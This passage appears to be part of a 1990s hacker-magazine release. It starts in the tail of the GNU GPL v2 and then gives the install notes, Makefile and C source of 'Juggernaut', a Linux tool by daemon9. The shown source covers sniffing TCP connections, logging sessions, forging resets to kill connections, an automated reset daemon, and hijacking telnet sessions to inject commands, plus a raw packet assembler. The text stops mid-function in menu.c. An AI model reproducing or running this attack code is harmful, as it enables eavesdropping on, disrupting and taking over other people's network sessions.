c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.

In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.

3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:

a) Accompany it with the complete corresponding machine‑readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,

b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine‑readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,

c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.

If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.

4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.

6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.

7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty‑free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.

This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.

8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.

9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation.

10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.

NO WARRANTY

11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

END OF TERMS AND CONDITIONS

Appendix: How to Apply These Terms to Your New Programs

If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.

To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found.

<one line to give the program's name and a brief idea of what it does.> Copyright (C) 19yy <name of author>

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this when it starts in an interactive mode:

Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse‑clicks or menu items‑‑whatever suits your program.

You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names:

Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker.

<signature of Ty Coon>, 1 April 1989

Ty Coon, President of Vice

This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License.

<‑‑>

<++> Juggernaut/Install

Juggernaut 1.0 Installation Instructions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. Are you a fucking moron? If so, goto step 6; you are done.

2. Edit the Makefile. You may wish to change a few of the defines:

USENAME: Define this to have Juggernaut attempt to resolve IP addresses into FQDNs... It's slower but more verbose this way.

MULTI_P: Define this to use multi‑process model of multi‑tasking.

THREAD: Define this to use multi‑threaded model of multi‑tasking. Be sure to also link in the pthreads library. Not implemented yet. IP_HDRINCL: Define this if you want/need to use the IP_HDRINCL socket option to build IP headers.

NOHUSH: If defined, Juggernaut will notify the user audibly when a connection is added.

GREED: If defined, Juggernaut will attempt to add any and ALL TCP based connections to the database. This is not recommended unless you know what you are doing...

FASTCHECK: Define this to use a fast x86 assembler implementation of the IP checksum routine. May not work on all systems. That's why you have the option.

3. make all

4. yay.

5. ./juggernaut ‑h

<‑‑>

<++> Juggernaut/Makefile

# Juggernaut Makefile

# 1996/7 daemon9[guild|phrack|r00t]

CC = gcc

#LIBS = ‑L/usr/lib ‑lpthread

CFLAGS = ‑O3 ‑funroll‑loops ‑fomit‑frame‑pointer ‑pipe ‑m486 #‑Wall DEFINES = ‑DMULTI_P ‑DNOHUSH ‑DUSENAME ‑DFASTCHECK

DEFINES += #‑DGREED #‑DIP_HDRINCL #‑DTHREAD

OBJECTS = NumberOneCrush/main.o NumberOneCrush/menu.o\ NumberOneCrush/mem.o NumberOneCrush/prometheus.o\ NumberOneCrush/net.o NumberOneCrush/surplus.o

.c.o:

$(CC) $(CFLAGS) $(DEFINES) ‑c $< ‑o $@

all: JUGGERNAUT

JUGGERNAUT: $(OBJECTS)

$(CC) $(CFLAGS) $(DEFINES) $(OBJECTS) $(LIBS) ‑o juggernaut strip juggernaut

clean:

rm ‑f core juggernaut juggernaut.log.snif juggernaut.log.spy

rm ‑rf NumberOneCrush/*.o

<‑‑>

<++> Juggernaut/NumberOneCrush/main.c

/*

*

* Juggernaut

* Version b2

*

* 1996/7 Guild productions

* daemon9[guild|phrack|r00t]

*

* comments to route@infonexus.com

*

* This coding project made possible by a grant from the Guild corporation *

* main.c ‑ main control logic and program driver. Consists mainly of wrappers * to setup the main subfunctions.

*

*

*/

#include <string.h>

#include <signal.h>

#include <stdlib.h>

#include <stdio.h>

#include <unistd.h>

#include <fcntl.h>

#include <ctype.h>

#include <syslog.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <sys/ioctl.h>

#include <sys/stat.h>

#include <sys/time.h>

#include <sys/resource.h>

#include <netinet/in.h>

#ifdef THREAD

#include <pthread.h>

#endif

#define MINIBUF 10

#define BUFSIZE 512

#define DEVICE "eth0"

#define LOGFILE "./juggernaut.log.spy"

char version[]="1.0\0";

int sigsentry=1; /* Signal sentry */

int ripsock=0; /* RIP socket */

int linksock=0; /* SOCK PACKET socket */

int hpid=0; /* hunter child PID */

int acrstpid=0; /* automated connection reset PID */

int netreadtimeout=10; /* Network read timeout in seconds */

int verbosity=1; /* Level of verbosity */

int enticementfactor=16; /* Enticing packets!@ */

time_t uptime=0; /* How long have we been running */

struct connectionInfo{ /* Simple tuple information */

unsigned long saddr; /* Source IP */

unsigned long daddr; /* Destination IP */

unsigned short sport; /* Source TCP Port */

unsigned short dport; /* Destination TCP Port */

};

/*

* Main control logic. All the main logic is implemented in the switch * statement.

*/

int main(argc,argv)

int argc;

char *argv[];

{

void usage(char *);

void hunt();

void spy();

void rst();

void arst();

void pkta();

void simplexhijack();

void hijack();

void powerup();

void minit();

void mwipe();

void mmain();

void twitch();

void cleanexit();

void bloodhound(char *,int);

void bookworm();

void dbmanip();

void jinfo();

int rawsock();

int tap();

float dump();

char buf[MINIBUF]={0};

char token[2*MINIBUF]={0};

int c;

if(geteuid()||getuid()){ /* r00t? */

fprintf(stderr,"UID or EUID of 0 needed...\n"); exit(0);

}

/Parse command‑line arguments */

while((c=getopt(argc,argv,"s:e:t:vVhH"))!=‑1){ switch(c){

case 's': /* dedicated sniffing mode */

strncpy(token,optarg,(sizeof(token)‑1)); break;

case 'e': /* Enticement factor (only valid

with ‑s option) */

enticementfactor=atoi(optarg);

break;

case 't': /* Network alarm timeout */

netreadtimeout=atoi(optarg);

break;

case 'v': /* decrease verbosity */

verbosity=0;

break;

case 'V': /* version info */

jinfo();

exit(0);

case 'h': /* Help is on the way my friend */

usage(argv[0]);

exit(0);

case 'H': /* Help is on the way my friend */

bookworm();

exit(0);

default:

usage(argv[0]);

break;

}

}

if(token[0]){

bloodhound(token,enticementfactor);

exit(0);

}

mwipe();

minit(); /* Initial menu */

fprintf(stderr,"[cr]");

getchar();

signal(SIGINT,twitch); /* Catch these signals */

signal(SIGQUIT,twitch);

ripsock=rawsock(); /* Setup RIP socket */

linksock=tap(DEVICE); /* Setup link socket */

powerup(); /* Setup shared memory and

semaphore */

time(&uptime); /* Start the uptime timer */

hunt(); /* Start the connection hunter */

while(1){

mwipe();

mmain();

bzero(&buf,sizeof(buf)); fgets(buf,sizeof(buf),stdin);

switch(buf[0]){

case '?':

mwipe();

bookworm();

mwipe();

break;

case '0':

mwipe();

jinfo();

mwipe();

break;

case '1':

mwipe();

dbmanip();

mwipe();

break;

case '2': /* Watch a connection. */

mwipe();

spy();

mwipe();

break;

case '3': /* Kill a connection. */

mwipe();

rst();

mwipe();

break;

case '4': /* Automated CRST daemon. */

mwipe();

arst();

mwipe();

break;

case '5': /* Insert a single command. */

mwipe();

simplexhijack();

mwipe();

break;

case '6': /* Hijack the session from the client */

mwipe();

hijack();

mwipe();

break;

case '7': /* The packet assembly workshop */

mwipe();

pkta();

mwipe();

break;

case '8': /* For future use. */

break;

case '9':

cleanexit();

default:

continue;

}

}

/* NOT REACHED */

return(0);

}

/*

* chunt wrapper

*/

void hunt(){

#ifdef MULTI_P

void spasm(); /* Handles the user defined signal */

void chunt();

switch((hpid=fork())){

case 0: /* Child */

signal(SIGUSR1,spasm);

signal(SIGINT,SIG_IGN); /* Catch these signals */

signal(SIGQUIT,SIG_IGN);

close(ripsock); /* Not needed in hunter */

chunt();

default:

break; /* Parent continues */

case ‑1:

if(verbosity)perror("(hunt) internal forking error [fatal]"); exit(1);

}

#endif

#ifdef THREAD

MULTIPLE THREADS OF EXECUTION IS NOT IMPLEMENTED YET.

void chunt();

pthread_t hunter_t;

pthread_create(&hunter_t,NULL,(void *)chunt(),(void *)NULL);

#endif

}

/*

* cspy wrapper

*/

void spy(){

void convulsion();

float dump();

struct connectionInfo *checkc(int);

void cspy(struct connectionInfo *,FILE *);

char buf[MINIBUF];

unsigned short val;

struct connectionInfo *target;

FILE *fp=0;

dump();

while(1){

fprintf(stderr,"\nChoose a connection [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(int)(val=atoi(buf)))continue; if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n"); else break;

}

fprintf(stderr,"\nDo you wish to log to a file as well? [y/N] >"); fgets(buf,sizeof(buf),stdin);

if(toupper(buf[0])=='Y'){

if(!(fp=fopen(LOGFILE,"a+"))){

if(verbosity){

fprintf(stderr,"Cannot open file for logging, skipping operation.\n"); fprintf(stderr,"[cr]");

getchar();

}

}

}

fprintf(stderr,"\nSpying on connection, hit `ctrl‑c` when done.\n"); signal(SIGINT,convulsion);

sigsentry=1;

cspy(target,fp);

if(fp)fclose(fp);

}

/*

* crst wrapper

*/

void rst(){

void convulsion();

float dump();

void crst(struct connectionInfo *);

struct connectionInfo *checkc(int);

char buf[MINIBUF];

unsigned short val;

struct connectionInfo *target;

dump();

while(1){

fprintf(stderr,"\nChoose a connection [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(int)(val=atoi(buf)))continue; if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n"); else break;

}

signal(SIGINT,convulsion);

crst(target);

fprintf(stderr,"[cr]");

getchar();

}

/*

* acrst wrapper

*/

void arst(){

void convulsion();

float dump();

void acrst(unsigned long,unsigned long);

char *hostLookup(unsigned long);

unsigned long nameResolve(char *);

char buf[4*MINIBUF];

unsigned long source,target;

/* Setup addresing info */

fprintf(stderr,"\nEnter source IP [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(source=nameResolve(buf))){

if(verbosity){

fprintf(stderr,"Name lookup failure: `%s`\n[cr]",buf); getchar();

}

return;

}

fprintf(stderr,"\nEnter target IP (optional) [q] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='q')return;

if(buf[0]==0x0a)target=0; /* target may be null, in this

case, we only care where

the connection is coming from */

else if(!(target=nameResolve(buf))){

if(verbosity){

fprintf(stderr,"Name lookup failure: %s\n[cr]",buf); getchar();

}

return;

}

if(!target)fprintf(stderr,"Reseting all connection requests from:\t %s\n",hostLookup(source)); else fprintf(stderr,"Reseting all connection requests from:\t %s ‑‑> %s\n",hostLookup(source),hostLookup(target)); fprintf(stderr,"[cr]");

getchar();

acrst(source,target);

}

/*

* dumpc wrapper

*/

float dump(){

float dumpc();

float usage=0;

fprintf(stderr,"\nCurrent Connection Database:\n");

fprintf(stderr,"‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n");

fprintf(stderr,"ref # source target \n\n"); usage=dumpc();

fprintf(stderr,"‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n");

return usage;

}

/*

* database manipulation routines go here..

*/

void dbmanip(){

float dump();

void cleardb();

float usage=0;

char buf[MINIBUF];

usage=dump();

if(usage)fprintf(stderr,"\nDatabase is %.02f%% to capacity.",usage); else fprintf(stderr,"\nDatabase is empty.");

fprintf(stderr,"\n[c,q] >");

fgets(buf,sizeof(buf),stdin);

if(buf[0]=='c'){

fprintf(stderr,"\nClear entire connection database? [y/N] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='y'){

cleardb();

fprintf(stderr,"\nConnection database cleared.\n[cr]"); getchar();

}

}

}

/*

* Juggernaut version and option information

*/

void jinfo(){

time_t current=0;

fprintf(stderr,"Juggernaut %s route@infonexus.com [guild 1996/7]\n",version);

fprintf(stderr,"\nJuggernaut compiled with the following options:\n"); #ifdef MULTI_P

fprintf(stderr," Multi‑processing\n");

#endif

#ifdef NOHUSH

fprintf(stderr," Audible notification\n");

#endif

#ifdef USENAME

fprintf(stderr," Use hostnames\n");

#endif

#ifdef GREED

fprintf(stderr," Greedy connections\n");

#endif

#ifdef FASTCHECK

fprintf(stderr," Fast IP checksuming\n");

#endif

#ifdef IP_HDRINCL

fprintf(stderr," IP header include\n");

#endif

#ifdef THREAD

fprintf(stderr," Multi‑threading\n");

#endif

time(&current);

fprintf(stderr,"Juggernaut has been running %.02f minutes\n",(difftime(current,uptime)/60));

fprintf(stderr,"[cr]");

getchar();

}

/*

* csimplexhijack wrapper

*/

void simplexhijack(){

void sputter();

float dump();

void csimplexhijack(struct connectionInfo *,char *);

void cspy(struct connectionInfo *,FILE *);

struct connectionInfo *checkc(int);

char buf[MINIBUF];

char commandbuf[BUFSIZE];

unsigned short val;

struct connectionInfo *target;

dump();

while(1){

fprintf(stderr,"\nChoose a connection [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(int)(val=atoi(buf)))continue; if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n"); else break;

}

if(ntohs(target‑>dport)!=23){

fprintf(stderr,"Hijacking only valid with telnet connections.\n"); fprintf(stderr,"[cr]");

getchar();

return;

}

fprintf(stderr,"Enter the command string you wish executed [q] >"); fgets(commandbuf,sizeof(commandbuf),stdin); if(commandbuf[0]==0x0a)return;

fprintf(stderr,"\nSpying on connection, hit `ctrl‑c` when you want to hijack.\n"); fprintf(stderr,"\nNOTE: This may cause an ACK storm until client is RST.\n"); signal(SIGINT,sputter);

sigsentry=1;

cspy(target,0);

csimplexhijack(target,commandbuf);

fprintf(stderr,"[cr]");

getchar();

}

/*

* chijack wrapper

*/

void hijack(){

void sputter();

float dump();

void chijack(struct connectionInfo *);

void cspy(struct connectionInfo *,FILE *);

struct connectionInfo *checkc(int);

char buf[MINIBUF];

unsigned short val;

struct connectionInfo *target;

dump();

while(1){

fprintf(stderr,"\nChoose a connection [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q')return; if(!(int)(val=atoi(buf)))continue; if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n"); else break;

}

if(ntohs(target‑>dport)!=23){

fprintf(stderr,"Hijacking only valid with telnet connections.\n"); fprintf(stderr,"[cr]");

getchar();

return;

}

fprintf(stderr,"\nSpying on connection, hit `ctrl‑c` when you want to hijack.\n"); fprintf(stderr,"\nNOTE: This will cause an ACK storm and desynch the client until the connection is RST.\n"); signal(SIGINT,sputter);

sigsentry=1;

cspy(target,0);

sigsentry=1;

chijack(target);

fprintf(stderr,"[cr]");

getchar();

}

/*

* Prometheus wrapper (packet assembly workshop)

*/

void pkta(){

void mpkta();

void mwipe();

int prometheus(int);

int val,mode;

char buf[MINIBUF];

while(1){

mwipe();

mpkta();

fgets(buf,sizeof(buf),stdin); if(!(val=atoi(buf)))continue;

switch(val){

case 1: /* TCP */

mode=1;

break;

case 2: /* UDP */

mode=2;

break;

case 3: /* ICMP */

mode=3;

break;

case 4: /* IP */

mode=4;

break;

case 5: /* Return */

return;

default:

continue;

}

if(prometheus(mode))break;

}

/* NOT REACHED */

}

<‑‑>

<++> Juggernaut/NumberOneCrush/mem.c

/*

*

* Juggernaut

* Version b1

*

* 1996/7 Guild productions

* daemon9[guild|phrack|r00t]

*

* comments to route@infonexus.com

*

* This coding project made possible by a grant from the Guild corporation *

* mem.c ‑ contains shared memory and semaphore control logic

*

* Multi‑process:

* Initializing and accesing shared memory:

* ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* ‑ Create the shared segment

* ‑ Attach each process to the segment (in our case, the hunter child * process will inherit a pointer to the block)

* ‑ Grab a semaphore

* ‑ Lock the semaphore; Manipulate shared segment; unlock the semaphore *

*

* Multi‑threaded:

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <arpa/inet.h>

#include <linux/if_ether.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <sys/types.h>

#include <sys/ipc.h>

#include <sys/sem.h>

#include <sys/shm.h>

#define SHMKEY 242 /* Shared memory key */

#define SEMKEY 424 /* Semaphore key */

#define PERMS 0666 /* Shared Memory Permissions */

#define MAXNODES 512 /* Maximum number of nodes */

#define ADDMSG "+"

#define DELMSG "‑"

int semid; /* Semaphore ID */

struct sembuf lock[2]={{0,0,0},{0,1,SEM_UNDO}};

/* wait for sem#0 to become 0 then

increment sem#0 by 1 */

struct sembuf ulock[1]={{0,‑1,(IPC_NOWAIT|SEM_UNDO)}};

/* decrement sem#0 by 1 (sets it to 0) */

struct epack{ /* Generic Ethernet packet w/o data payload */

struct ethhdr eth; /* Ethernet Header */

struct iphdr ip; /* IP header */

struct tcphdr tcp; /* TCP header */

char payload[8192]; /* Data Payload */

}epack;

static struct connectionInfo{ /* Simple tuple structure */

unsigned long saddr; /* Source IP */

unsigned long daddr; /* Destination IP */

unsigned short sport; /* Source TCP Port */

unsigned short dport; /* Destination TCP Port */

}*cinfo=0;

extern int verbosity;

/*

* Creates the shared memory segment then attaches it; then creates a binary * semaphore to guarantee exclusive access. Clears the structure array. * Dumps some info.

* Much credit to Richard Stevens and Jeff Thompson.

*/

void powerup(){

void locks();

void ulocks();

void cleardb();

int shmid; /* Shared memory segment id */

int len;

len=sizeof(struct connectionInfo)*MAXNODES;

/* Request a shared memory segment */

if((shmid=shmget(SHMKEY,len,IPC_CREAT))<0){ if(verbosity)perror("(powerup) shared memory segment allocation error [fatal]"); exit(1);

}

/* Get one semaphore to perform shared

memory locking with */

if((semid=semget(SEMKEY,1,IPC_CREAT|PERMS))<0){ if(verbosity)perror("(powerup) semaphore allocation error [fatal]"); exit(1);

}

/* Attach to the shared memory segment */

cinfo=(struct connectionInfo *)shmat(shmid,0,0);

cleardb();

}

/*

* Release the shared memory segment.

*/

void powerdown(){

void locks();

void ulocks();

locks();

shmdt((char *)cinfo); /* Dettach the segment. */

ulocks();

}

/*

* Locks the semaphore so the caller can access the shared memory segment. * This is an atomic operation.

*/

void locks(){

if(semop(semid,&lock[0],2)<0){ if(verbosity)perror("(locks) could not lock semaphore [fatal]"); exit(1);

}

}

/*

* Unlocks the semaphore so the caller can access the shared memory segment. * This is an atomic operation.

*/

void ulocks(){

if(semop(semid,&ulock[0],1)<0){ if(verbosity)perror("(ulocks) could not unlock semaphore [fatal]"); exit(1);

}

}

/*

* Add a connection to our list. Linear search of the WHOLE list to see if * it's already there (which IT SHOULDN'T BE...), if not, add it in the * first open slot.

*/

char *addc(iphp,tcphp)

struct iphdr *iphp;

struct tcphdr *tcphp;

{

void locks();

void ulocks();

int i=0;

/* A wonderfully inefficient linear

search for duplicates */

locks();/* Lock shared memory segment */

for(;i<MAXNODES;i++)if(iphp‑>saddr==cinfo[i].saddr&&iphp‑>daddr==cinfo[i].daddr&&tcphp‑>source==cinfo[i].sport&&tcphp‑>dest==cinfo[i].dport){ ulocks();

return(0); /* Opps. Found a duplicate */

}

/* Find available slot */

for(i=0;i<MAXNODES;i++){

if(cinfo[i].saddr)continue;

else{

cinfo[i].saddr=iphp‑>saddr;

cinfo[i].daddr=iphp‑>daddr; cinfo[i].sport=tcphp‑>source; cinfo[i].dport=tcphp‑>dest;

ulocks();

return(ADDMSG);

}

} /* Control falls here if array is

full (which is indicative of

a BUSY NETWORK!@*/

ulocks();

return(0);

}

/*

* Remove a connection from our list. Linear search until we find a * correspoding entry, or we hit the end of the list.

*/

char *delc(iphp,tcphp)

struct iphdr *iphp;

struct tcphdr *tcphp;

{

void locks();

void ulocks();

int i=0;

locks(); /* Lock shared memory segment */

for(;i<MAXNODES;i++)if(iphp‑>saddr==cinfo[i].saddr&&iphp‑>daddr==cinfo[i].daddr&&tcphp‑>source==cinfo[i].sport&&tcphp‑>dest==cinfo[i].dport){ bzero(&cinfo[i],sizeof(cinfo[i]));

ulocks();

return(DELMSG); /* Inform caller of success */

}

ulocks();

return(0); /* hmm. Wierd. */

}

/*

* Dump the connection list.

*/

float dumpc()

{

void locks();

void ulocks();

char *hostLookup(unsigned long);

int i=0;

float j=0;

locks();

for(;i<MAXNODES;i++)if(cinfo[i].saddr){ fprintf(stderr,"(%d)\t %s [%d]\t‑‑>\t %s [%d]\n",i+1,hostLookup(cinfo[i].saddr),ntohs(cinfo[i].sport),hostLookup(cinfo[i].daddr),ntohs(cinfo[i].dport)); j++;

}

ulocks();

if(!j)return(0);

return(((j/MAXNODES)*100)); /* % utilization */

}

/*

* Check for a connection by index number. Really only here to make sure the * connection hasn't been deleted since dump() was called.... I think I * will deprecate this function in future versions...

*/

struct connectionInfo *checkc(target)

int target;

{

void locks();

void ulocks();

static struct connectionInfo tmp;

locks(); /* Lock shared memory segment */

if(cinfo[‑‑target].saddr){

memcpy(&tmp,&cinfo[target],sizeof(tmp));

ulocks();

return(&tmp);

}

ulocks(); /* Nope. Not there */

return((struct connectionInfo *)0);

}

/*

* Clear the connection database

*/

void cleardb(){

void locks();

void ulocks();

int i=0;

locks();

for(;i<MAXNODES;i++)bzero(&cinfo[i],sizeof(cinfo[i])); ulocks();

}

<‑‑>

<++> Juggernaut/NumberOneCrush/menu.c

/*

*

* Juggernaut

* Version b2

*

* 1996/7 Guild productions

* daemon9[guild|phrack|r00t]

*

* comments to route@infonexus.com

*

* This coding project made possible by a grant from the Guild corporation *

* menu.c ‑ menu functions.

*

*/

#include <stdio.h>

extern char version[];

/*

* Initial Screen

*/

void minit(){

printf("\t\t\t J U G G E R N A U T\n");

printf("\t\t multipurpose network tool for Linux\n"); printf("\t\t\t version: %s\n",version); printf("\n\n\n\n\n\n");

printf("\t (c) 1996/7 daemon9 | A Guild Corporation Production\t\t\t\n"); printf("\n\n\n\n\n\n");

}

/*

* Main Menu

*/

void mmain(){

printf("\t\t\t Juggernaut\n");

printf("\t\t\t+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+\n");

printf("\t\t\t?) Help\n");

printf("\t\t\t0) Program information\n");

printf("\t\t\t1) Connection database\n");

printf("\t\t\t2) Spy on a connection\n");

printf("\t\t\t3) Reset a connection\n");

printf("\t\t\t4) Automated connection reset daemon\n"); printf("\t\t\t5) Simplex connection hijack\n"); printf("\t\t\t6) Interactive connection hijack\n"); printf("\t\t\t7) Packet assembly module\n"); printf("\t\t\t8) Souper sekret option number eight\n"); printf("\t\t\t9) Step Down\n"); printf("\n\n\n\n\n\n\n\n\n");

printf(">");

}

/*

* Packet Assembly Menu [prometheus module]

*/

void mpkta(){

printf("\t\t\t Packet Assembly Module (beta)\n");

printf("\t\t\t+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+\n");

printf("\t\t\t1. TCP Assembler\n");

printf("\t\t\t2. UDP Assembler\n");

printf("\t\t\t3. ICMP Assembler\n");

printf("\t\t\t4. IP Assembler\n");

printf("\t\t\t5. Return to previous menu\n"); printf("\n\n\n\n\n\n\n\n\n\n");

printf(">");

}

/*

* TCP assembly options menu

*/

void mpktatcp(packetready,source,destination,seqnum,acknum,control,window,data) int packetready;

